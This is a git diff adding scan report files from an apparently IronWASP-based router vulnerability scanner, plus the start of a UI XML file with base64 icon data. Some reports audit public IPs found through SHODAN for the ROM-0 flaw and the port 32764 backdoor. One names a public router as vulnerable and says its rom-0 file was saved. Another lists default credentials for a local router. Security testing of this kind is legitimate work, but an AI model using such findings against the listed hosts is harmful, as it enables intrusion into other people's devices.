192.168.1.1 is not reachable + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_02_43_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_02_43_AM.txt new file mode 100644 index 0000000..e13db2b --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_02_43_AM.txt @@ -0,0 +1,9 @@ + + 192.168.1.1 is not reachable + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_29_47_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_29_47_AM.txt new file mode 100644 index 0000000..e13db2b --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_29_47_AM.txt @@ -0,0 +1,9 @@ + + 192.168.1.1 is not reachable + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_33_04_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_33_04_AM.txt new file mode 100644 index 0000000..e13db2b --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_33_04_AM.txt @@ -0,0 +1,9 @@ + + 192.168.1.1 is not reachable + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_34_06_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_34_06_AM.txt new file mode 100644 index 0000000..e13db2b --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_34_06_AM.txt @@ -0,0 +1,9 @@ + + 192.168.1.1 is not reachable + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_36_39_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_36_39_AM.txt new file mode 100644 index 0000000..e13db2b --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_36_39_AM.txt @@ -0,0 +1,9 @@ + + 192.168.1.1 is not reachable + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_36_54_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_36_54_AM.txt new file mode 100644 index 0000000..4e02edd --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_36_54_AM.txt @@ -0,0 +1,11 @@ + + 192.168.1.1 is not reachable + 192.168.1.2 is not reachable + 192.168.1.3 is not reachable + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_43_40_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_43_40_AM.txt new file mode 100644 index 0000000..e13db2b --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_43_40_AM.txt @@ -0,0 +1,9 @@ + + 192.168.1.1 is not reachable + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_44_00_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_44_00_AM.txt new file mode 100644 index 0000000..ef03e8a --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_44_00_AM.txt @@ -0,0 +1,20 @@ + + 192.168.1.1 is not reachable + 192.168.1.2 is not reachable + 192.168.1.3 is not reachable + 192.168.1.4 is not reachable + 192.168.1.5 is not reachable + 192.168.1.6 is not reachable + 192.168.1.7 is not reachable + 192.168.1.8 is not reachable + 192.168.1.9 is not reachable + 192.168.1.10 is not reachable + 192.168.1.11 is not reachable + 192.168.1.12 is not reachable + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_46_17_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_46_17_AM.txt new file mode 100644 index 0000000..e13db2b --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_46_17_AM.txt @@ -0,0 +1,9 @@ + + 192.168.1.1 is not reachable + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_46_32_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_46_32_AM.txt new file mode 100644 index 0000000..6fd472f --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_46_32_AM.txt @@ -0,0 +1,18 @@ + + 192.168.1.1 is not reachable + 192.168.1.2 is not reachable + 192.168.1.3 is not reachable + 192.168.1.4 is not reachable + 192.168.1.5 is not reachable + 192.168.1.6 is not reachable + 192.168.1.7 is not reachable + 192.168.1.8 is not reachable + 192.168.1.9 is not reachable + 192.168.1.10 is not reachable + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_54_48_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_54_48_AM.txt new file mode 100644 index 0000000..e13db2b --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_54_48_AM.txt @@ -0,0 +1,9 @@ + + 192.168.1.1 is not reachable + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_55_00_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_55_00_AM.txt new file mode 100644 index 0000000..a1cb30d --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_55_00_AM.txt @@ -0,0 +1,8 @@ + + 192.168.1.1 is not reachable + 192.168.1.2 is not reachable + 192.168.1.3 is not reachable + 192.168.1.4 is not reachable + 192.168.1.5 is not reachable + 192.168.1.6 is not reachable + 192.168.1.7 is not reachable \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_59_06_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_59_06_AM.txt new file mode 100644 index 0000000..93b9858 --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_2_59_06_AM.txt @@ -0,0 +1,5 @@ + +Making SHODAN API call to get target details.... +Extracting target details from the response +SHODAN returned 2 taregts matching your query. +Exception: 'WiHawk' object has no attribute 'scan_mult' \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_4_03_15_AM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_4_03_15_AM.txt new file mode 100644 index 0000000..5e33731 --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/5-18-2014_4_03_15_AM.txt @@ -0,0 +1,62 @@ + +Making SHODAN API call to get target details.... +Extracting target details from the response +SHODAN returned 2208 taregts matching your query. +*********************************************************************************************** + Auditing 122.165.7.176 to find if Router is Vulnerable to rom-o +*********************************************************************************************** +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + Router is not Vulnerable to ROM-0 with ip: 122.165.7.176 +vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv + +###################################################### + Checking 122.165.7.176 for Backdoor 32764 Vulnerability +###################################################### +Exception :not all arguments converted during string formatting + 122.178.66.128 is not reachable +*********************************************************************************************** + Auditing 122.164.164.184 to find if Router is Vulnerable to rom-o +*********************************************************************************************** +Exception :'Response' object has no attribute 'Save' + 122.164.150.134 is not reachable + 117.193.173.67 is not reachable + 117.202.144.62 is not reachable + 122.174.30.219 is not reachable + 122.164.250.209 is not reachable + 122.174.118.125 is not reachable + 122.164.186.109 is not reachable + 59.92.92.255 is not reachable + 182.65.173.82 is not reachable + 122.174.48.249 is not reachable + 122.164.191.239 is not reachable +*********************************************************************************************** + Auditing 119.226.69.254 to find if Router is Vulnerable to rom-o +*********************************************************************************************** +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + Router is not Vulnerable to ROM-0 with ip: 119.226.69.254 +vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv + +###################################################### + Checking 119.226.69.254 for Backdoor 32764 Vulnerability +###################################################### +Exception :not all arguments converted during string formatting + 122.174.28.39 is not reachable + 117.193.216.155 is not reachable + 117.202.176.111 is not reachable +*********************************************************************************************** + Auditing 122.164.65.102 to find if Router is Vulnerable to rom-o +*********************************************************************************************** +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + Router is not Vulnerable to ROM-0 with ip: 122.164.65.102 +vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv + +###################################################### + Checking 122.164.65.102 for Backdoor 32764 Vulnerability +###################################################### +Exception :not all arguments converted during string formatting + 118.95.106.41 is not reachable +*********************************************************************************************** + Auditing 117.193.108.79 to find if Router is Vulnerable to rom-o +*********************************************************************************************** +Exception :'Response' object has no attribute 'Save' + 122.164.147.88 is not reachable \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/IPrange#19-05-2014_19_35_17.txt b/Iron/bin/Debug/modules/WiHawk/Reports/IPrange#19-05-2014_19_35_17.txt new file mode 100644 index 0000000..3a6a65f --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/IPrange#19-05-2014_19_35_17.txt @@ -0,0 +1,41 @@ + +*********************************************************************************************** + Auditing 192.168.1.1 to find if Router is Vulnerable to rom-o +*********************************************************************************************** +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + Router is not Vulnerable to ROM-0 with ip: 192.168.1.1 +vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv + +###################################################### + Checking 192.168.1.1 for Authentication ByPass Vulnerability +###################################################### +No authentication bypas vulnerability could be discovered on this device. + +*********************************************************************************************** + Auditing 192.168.1.1 for weak Username & Password based Authentication +*********************************************************************************************** + Username is :user + Password is :user + 192.168.1.2 is not reachable + 192.168.1.3 is not reachable + 192.168.1.4 is not reachable + 192.168.1.5 is not reachable + 192.168.1.6 is not reachable + 192.168.1.7 is not reachable + 192.168.1.8 is not reachable + 192.168.1.9 is not reachable + 192.168.1.10 is not reachable + 192.168.1.11 is not reachable + 192.168.1.12 is not reachable + 192.168.1.13 is not reachable + 192.168.1.14 is not reachable + 192.168.1.15 is not reachable +$$$$$$$$$$$$ Devices with default login credentials $$$$$$$$$$$$ + 192.168.1.1 - User Name =user Password =user + 192.168.1.1 - User Name =user Password =user + 192.168.1.1 - User Name =user Password =user + 192.168.1.1 - User Name =user Password =user + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/IPrange#19-05-2014_19_35_29.txt b/Iron/bin/Debug/modules/WiHawk/Reports/IPrange#19-05-2014_19_35_29.txt new file mode 100644 index 0000000..3a6a65f --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/IPrange#19-05-2014_19_35_29.txt @@ -0,0 +1,41 @@ + +*********************************************************************************************** + Auditing 192.168.1.1 to find if Router is Vulnerable to rom-o +*********************************************************************************************** +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + Router is not Vulnerable to ROM-0 with ip: 192.168.1.1 +vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv + +###################################################### + Checking 192.168.1.1 for Authentication ByPass Vulnerability +###################################################### +No authentication bypas vulnerability could be discovered on this device. + +*********************************************************************************************** + Auditing 192.168.1.1 for weak Username & Password based Authentication +*********************************************************************************************** + Username is :user + Password is :user + 192.168.1.2 is not reachable + 192.168.1.3 is not reachable + 192.168.1.4 is not reachable + 192.168.1.5 is not reachable + 192.168.1.6 is not reachable + 192.168.1.7 is not reachable + 192.168.1.8 is not reachable + 192.168.1.9 is not reachable + 192.168.1.10 is not reachable + 192.168.1.11 is not reachable + 192.168.1.12 is not reachable + 192.168.1.13 is not reachable + 192.168.1.14 is not reachable + 192.168.1.15 is not reachable +$$$$$$$$$$$$ Devices with default login credentials $$$$$$$$$$$$ + 192.168.1.1 - User Name =user Password =user + 192.168.1.1 - User Name =user Password =user + 192.168.1.1 - User Name =user Password =user + 192.168.1.1 - User Name =user Password =user + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/IPrange5-18-2014_1_35_21_PM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/IPrange5-18-2014_1_35_21_PM.txt new file mode 100644 index 0000000..6fd472f --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/IPrange5-18-2014_1_35_21_PM.txt @@ -0,0 +1,18 @@ + + 192.168.1.1 is not reachable + 192.168.1.2 is not reachable + 192.168.1.3 is not reachable + 192.168.1.4 is not reachable + 192.168.1.5 is not reachable + 192.168.1.6 is not reachable + 192.168.1.7 is not reachable + 192.168.1.8 is not reachable + 192.168.1.9 is not reachable + 192.168.1.10 is not reachable + +$$$$$$$$$$$$$$$$$$$$$$$$$$ No Devices with default login credentials $$$$$$$$$$$$$$$$$$$$$$$$$$ + + +$$$$$$$$$$$$ No Devices with HTTP basic authentication $$$$$$$$$$$ + +$$$$$$$$$$$$ No Devices with bypass authenication vulnerbility $$$$$$$$$$$ \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/Reports/singleIP5-18-2014_1_34_59_PM.txt b/Iron/bin/Debug/modules/WiHawk/Reports/singleIP5-18-2014_1_34_59_PM.txt new file mode 100644 index 0000000..013d47b --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/Reports/singleIP5-18-2014_1_34_59_PM.txt @@ -0,0 +1,12 @@ + +*********************************************************************************************** + Auditing 122.163.215.163 to find if Router is Vulnerable to rom-o +*********************************************************************************************** +^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^ + Router is Vulnerable to ROM-0 with ip: 122.163.215.163 + rom-0 file is saved to IronWASP\modules\WiHawk\ROM-0 path +vvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvvv + +###################################################### + Checking 122.163.215.163 for Authentication ByPass Vulnerability +###################################################### \ No newline at end of file diff --git a/Iron/bin/Debug/modules/WiHawk/UI_saveReport.xml b/Iron/bin/Debug/modules/WiHawk/UI_saveReport.xml new file mode 100644 index 0000000..8f368ed --- /dev/null +++ b/Iron/bin/Debug/modules/WiHawk/UI_saveReport.xml @@ -0,0 +1,1404 @@ + + + + 900 + 600 + + V2lIYXdrIC0gV2lGaSBSb3V0ZXIgVnVsbmVyYWJpbGl0eSBTY2FubmVy + AAABAAIAQEAAAAEAIAAoQgAAJgAAAICAAAABACAAKAgBAE5CAAAoAAAAQAAAAIAAAAABACAAAAAAAABAAADDDgAAww4AAAAAAAAAAAAA5+Xj/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//5OHf/+Th3//k4d//6+no/+Th4P/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+jm5f/k4eD/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/ysfG/5WTlP/a19b/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//o5uX/5OHg/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/3drY/1BPUv9WVVj/dXR1/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/6Obl/+Th4P/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/4qIif8eHSH/UE9R/yIhJf+vraz/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+jm5f/k4eD/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/8K/vv8oJyv/Hx4i/01MT/8gHyP/Pz5B/9rX1f/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//o5uX/5OHg/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/9/c2v9RT1L/IB8j/x8eIv9MS07/IB8j/yAfI/+HhYb/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/6Obl/+Th4P/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2/+yr6//Hx4i/yAfI/8fHiL/SEdK/yAfI/8gHyP/LCsv/8/Ny//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+jm5f/k4eD/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//e29n/zMnI/yMiJv8gHyP/Hx4i/0JBRP8gHyP/IB8j/x8eIv+uq6v/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//o5uX/5OHg/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/kI6P/7u4uP9CQUT/IB8j/x8eIv9AP0L/IB8j/yAfI/8sKy7/1dLQ/9fU0v/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/6Obl/+Th4P/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/3drY/zo5Pf9ycHL/dnV2/yAfI/8fHiL/PTw//yAfI/8gHyP/X11f/6akpP+EgoP/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+jm5f/k4eD/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/6qnp/8gHyP/MTAz/6Wjo/8fHiP/Hx4i/zs6Pv8gHyP/IB8j/5yamv9UUlX/PDs+/97b2f/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//o5uX/5OHg/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2/9mZGb/IB8j/yAeI/+cmpr/Kiks/yAfI/8zMjX/IB8j/ygnK/+xr6//IiEl/yAfI/+4trX/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/6Obl/+Th4P/g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//d2tj/MjE1/yAfI/8gHyP/YV9i/1VUVv8fHiL/MTAz/yAfI/9XVVf/cnBy/yAfI/8gHyP/gH6A/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+jm5f/k4eD/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/39za/2lnaf8gHyP/IB8j/ykoLP9+fH7/Hx4i/y8uMv8gHyP/i4mJ/y0sMP8gHyP/IyIm/6ako//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+Dd2//g3dv/4N3b/+